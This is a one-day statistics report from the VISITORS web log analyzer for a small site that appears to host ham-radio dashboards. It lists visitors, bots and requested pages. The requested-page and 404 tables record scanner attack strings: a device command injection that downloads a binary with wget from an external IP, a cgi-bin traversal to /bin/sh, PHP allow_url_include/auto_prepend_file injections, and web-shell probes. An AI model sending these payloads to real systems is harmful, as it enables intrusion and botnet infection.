| Statistics generated with VISITORS Web Log Analyzer version 0.7
|
| |
| General information |
| Information about analyzed log files |
| Generated: Sun Nov 1 12:30:02 2026
|
| Number of entries processed 129 |
| Number of invalid entries 0 |
| Processing time in seconds 0 |
| |
| Generated reports |
| Click on the report name you want to see |
| Number of reports generated 24 |
| Unique visitors in each day |
| Unique visitors in each month |
| Unique visitors from Google in each day |
| Unique visitors from Google in each month |
| Pageviews per visit |
| Weekday-Hour combined map |
| Month-Day combined map |
| Requested pages |
| Requested images and CSS |
| Referers |
| Referers by first time |
| Robots and web spiders |
| User agents |
| Operating Systems |
| Browsers |
| 404 Errors |
| Domains |
| Googled pages |
| Adsensed pages |
| Google Keyphrases |
| Google Keyphrases by first time |
| Google Human Language |
| Weekday distribution |
| Hours distribution |
| |
| Unique visitors in each day |
| Multiple hits with the same IP, user agent and access day, are considered a single visit |
| Number of unique visitors 61 |
| Different days in logfile 1 |
| 01/Nov/2026 | 61 (100.0%) |
|
| |
| Unique visitors in each month |
| Multiple hits with the same IP, user agent and access day, are considered a single visit |
| Number of unique visitors 61 |
| Different months in logfile 1 |
| Nov/2026 | 61 (100.0%) |
|
| |
| Unique visitors from Google in each day |
| The red part of the bar expresses the percentage of visits originated from Google |
| Number of unique visitors 61 |
| Number of unique visitors from google 0 |
| Different days in logfile 1 |
| 01/Nov/2026 | 0 (0.0%) |
|
| |
| Unique visitors from Google in each month |
| The red part of the bar expresses the percentage of visits originated from Google |
| Number of unique visitors 61 |
| Number of unique visitors from google 0 |
| Different months in logfile 1 |
| Nov/2026 | 0 (0.0%) |
|
| |
| Weekday-Hour combined map |
| Brighter means higher level of hits |
| Hour with max traffic starting at Su 08:00 with hits 13 |
| Hour with min traffic starting at Mo 00:00 with hits 0 |
| |
| Mo | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Tu | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| We | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Th | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Fr | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Sa | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Su | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| | 00 | 01 | 02 | 03 | 04 | 05 | 06 | 07 | 08 | 09 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 |
|
| |
| Month-Day combined map |
| Brighter means higher level of hits |
| Day with max traffic is Nov 01 with hits 61 |
| Day with min traffic is Nov 01 with hits 61 |
| |
| Jan | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Feb | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Mar | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Apr | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| May | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Jun | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Jul | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Aug | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Sep | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Oct | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Nov | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Dec | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| | 01 | 02 | 03 | 04 | 05 | 06 | 07 | 08 | 09 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 |
|
| |
| Pageviews per visit |
| Number of pages requested per visit |
| Only documents are counted (not images). Reported ranges: 6 |
| 1 | 40 (76.9%) |
|
| 2 | 6 (11.5%) |
|
| 7 | 2 (3.8%) |
|
| 6 | 2 (3.8%) |
|
| 4 | 1 (1.9%) |
|
| 9 | 1 (1.9%) |
|
| |
| Requested pages |
| Page requests ordered by hits |
| Different pages requested 52 |
| 1) | 23 | / |
| 2) | 19 | /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd /tmp;rm net.arm7; wget http://160.119... |
| 3) | 13 | /robots.txt |
| 4) | 7 | /SDK/webLanguage |
| 5) | 7 | none |
| 6) | 6 | /sitemap.xml |
| 7) | 2 | /wifi/index.html |
| 8) | 2 | /ais/index.php |
| 9) | 2 | /sitemaps.xml |
| 10) | 2 | /aprsdash/help.html |
| 11) | 2 | /ais/ |
| 12) | 1 | /loradash/credits.html |
| 13) | 1 | /mcp |
| 14) | 1 | /login |
| 15) | 1 | /aprx/index.php |
| 16) | 1 | /aprx/chgif.php?chgif=1 |
| 17) | 1 | /admin/config.php |
| 18) | 1 | /radio.php |
| 19) | 1 | /loradash/help.html |
| 20) | 1 | /mcp/ |
| 21) | 1 | /ews/exchange.asmx |
| 22) | 1 | /developmentserver/metadatauploader |
| 23) | 1 | /BDKR28WP.php |
| 24) | 1 | /cgi-bin/S2eS2e/S2eS2e/S2eS2e/S2eS2e/S2eS2e/S2eS2e/S2eS2e/bin/sh |
| 25) | 1 | /this_is_a_new_hello_world.php |
| 26) | 1 | /geoserver/web/ |
| 27) | 1 | /admin/login/livewire/update |
| 28) | 1 | /ccc.php |
| 29) | 1 | /?d allow_url_include=1 d auto_prepend_file=php://input |
| 30) | 1 | /report.html |
| |
| Requested images and CSS |
| Images and CSS requests ordered by hits |
| Different images and CSS requested 1 |
| 1) | 3 | /favicon.ico |
| |
| Referers |
| Referers ordered by visits (google excluded) |
| Different referers 3 |
| 1) | 59 | none |
| 2) | 1 | http://iz7boj.dyndns.org/robots.txt |
| 3) | 1 | http://iz7boj.dyndns.org/ |
| |
| Referers by first time |
| Referers ordered by first time date, newer on top (referers from google excluded) |
| Different referers 3 |
| 1) | 01/Nov/2026 | http://iz7boj.dyndns.org/robots.txt |
| 2) | 01/Nov/2026 | http://iz7boj.dyndns.org/ |
| 3) | 01/Nov/2026 | none |
| |
| Robots and web spiders |
| Agents requesting robots.txt. MSIECrawler excluded. |
| Total number of different robots 8 |
| 1) | 1 | Mozilla/5.0 (compatible; DataForSeoBot/1.0; +https://dataforseo.com/dataforseo-bot) |
| 2) | 1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.6... |
| 3) | 1 | Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.c... |
| 4) | 1 | Mozilla/5.0 (compatible; SemrushBot/7~bl; +http://www.semrush.com/bot.html) |
| 5) | 1 | Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bin... |
| 6) | 1 | - |
| 7) | 1 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.... |
| 8) | 1 | Mozilla/5.0 (compatible;PetalBot;+https://webmaster.petalsearch.com/site/petalbot) |
| |
| User agents |
| The entire user agent string ordered by visits |
| Different agents 35 |
| 1) | 8 | Mozilla/5.0 (compatible; Infrawatch/1.0; +https://infrawat.ch/) |
| 2) | 8 | - |
| 3) | 4 | Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0... |
| 4) | 3 | Mozilla/5.0 (compatible; SemrushBot/7~bl; +http://www.semrush.com/bot.html) |
| 5) | 3 | Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bin... |
| 6) | 3 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
| 7) | 2 | Mozilla/5.0 zgrab/0.x |
| 8) | 2 | Mozilla/5.0 |
| 9) | 2 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Sa... |
| 10) | 1 | Go-http-client/1.1 |
| 11) | 1 | Mozilla/5.0 (compatible; DataForSeoBot/1.0; +https://dataforseo.com/dataforseo-bot) |
| 12) | 1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Sa... |
| 13) | 1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.6... |
| 14) | 1 | Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0 |
| 15) | 1 | Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 |
| 16) | 1 | Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.c... |
| 17) | 1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Sa... |
| 18) | 1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85... |
| 19) | 1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Sa... |
| 20) | 1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Sa... |
| 21) | 1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Sa... |
| 22) | 1 | libredtail-http |
| 23) | 1 | Mozilla/5.0 (compatible; SEOkicks; +https://www.seokicks.de/robot.html) |
| 24) | 1 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.3... |
| 25) | 1 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.... |
| 26) | 1 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.... |
| 27) | 1 | Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.ama... |
| 28) | 1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Sa... |
| 29) | 1 | Mozila/5.0 |
| 30) | 1 | Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; KeenableBot/1.0; +https://keenable.ai... |
| |
| Operating Systems |
| Operating Systems by visits |
| Different operating systems listed 4 |
| Unknown | 36 (59.0%) |
|
| Windows | 15 (24.6%) |
|
| Macintosh | 8 (13.1%) |
|
| Linux | 2 (3.3%) |
|
| |
| Browsers |
| Browsers used by visits |
| Different browsers listed 4 |
| Unknown | 32 (52.5%) |
|
| Safari | 25 (41.0%) |
|
| Other Mozilla based | 2 (3.3%) |
|
| Firefox | 2 (3.3%) |
|
| |
| 404 Errors |
| Requests for missing documents |
| Different missing documents requested 29 |
| 1) | 7 | /SDK/webLanguage |
| 2) | 6 | /sitemap.xml |
| 3) | 2 | /sitemaps.xml |
| 4) | 1 | /mcp |
| 5) | 1 | /login |
| 6) | 1 | /admin/config.php |
| 7) | 1 | /radio.php |
| 8) | 1 | /mcp/ |
| 9) | 1 | /ews/exchange.asmx |
| 10) | 1 | /BDKR28WP.php |
| 11) | 1 | /cgi-bin/S2eS2e/S2eS2e/S2eS2e/S2eS2e/S2eS2e/S2eS2e/S2eS2e/bin/sh |
| 12) | 1 | /this_is_a_new_hello_world.php |
| 13) | 1 | /geoserver/web/ |
| 14) | 1 | /admin/login/livewire/update |
| 15) | 1 | /ccc.php |
| 16) | 1 | /opsh.php |
| 17) | 1 | /autodiscover/autodiscover.xml |
| 18) | 1 | /admin/login |
| 19) | 1 | /3PJcpMFsD8B.php |
| 20) | 1 | /sse |
| 21) | 1 | /test.hello?%ADd allow_url_include=1 %ADd auto_prepend_file=php://input |
| 22) | 1 | /login/livewire/update |
| 23) | 1 | /wp-content/plugins/hellopress/wp_filemanager.php |
| 24) | 1 | /hello.world?d allow_url_include=1 d auto_prepend_file=php://input |
| 25) | 1 | /cgi-bin/../../../../../../../../../../bin/sh |
| 26) | 1 | /lanbai.php |
| 27) | 1 | /api/mcp |
| 28) | 1 | /ano.php |
| 29) | 1 | /index.php?%ADd allow_url_include=1 %ADd auto_prepend_file=php://input |
| |
| Domains |
| Top Level Domains sorted by visits |
| Total number of Top Level Domains 1 |
| numeric IP | 61 (100.0%) |
|
| |
| Googled pages |
| Pages accessed by the Google crawler, last access reported |
| Number of pages googled 0 |
| |
| Adsensed pages |
| Pages accessed by the Adsense crawler, last access reported |
| Number of pages adsensed 0 |
| |
| Google Keyphrases |
| Keyphrases used in google searches ordered by visits |
| Total number of keyphrases 0 |
| |
| Google Keyphrases by first time |
| Keyphrases ordered by first time date, newer on top |
| Different referers 0 |
| |
| Google Human Language |
| The 'hl' field in the query string of google searches |
| Different human languages 0 |
| |
| Weekdays distribution |
| Percentage of hits in every day of the week |
| Mo | 0 (0.0%) |
|
| Tu | 0 (0.0%) |
|
| We | 0 (0.0%) |
|
| Th | 0 (0.0%) |
|
| Fr | 0 (0.0%) |
|
| Sa | 0 (0.0%) |
|
| Su | 61 (100.0%) |
|
| |
| Hours distribution |
| Percentage of hits in every hour of the day |
| 00 | 8 (13.1%) |
|
| 01 | 7 (11.5%) |
|
| 02 | 10 (16.4%) |
|
| 03 | 3 (4.9%) |
|
| 04 | 6 (9.8%) |
|
| 05 | 0 (0.0%) |
|
| 06 | 3 (4.9%) |
|
| 07 | 2 (3.3%) |
|
| 08 | 13 (21.3%) |
|
| 09 | 2 (3.3%) |
|
| 10 | 4 (6.6%) |
|
| 11 | 1 (1.6%) |
|
| 12 | 2 (3.3%) |
|
| 13 | 0 (0.0%) |
|
| 14 | 0 (0.0%) |
|
| 15 | 0 (0.0%) |
|
| 16 | 0 (0.0%) |
|
| 17 | 0 (0.0%) |
|
| 18 | 0 (0.0%) |
|
| 19 | 0 (0.0%) |
|
| 20 | 0 (0.0%) |
|
| 21 | 0 (0.0%) |
|
| 22 | 0 (0.0%) |
|
| 23 | 0 (0.0%) |
|
| |
| Statistics generated with VISITORS Web Log Analyzer version 0.7
|
| |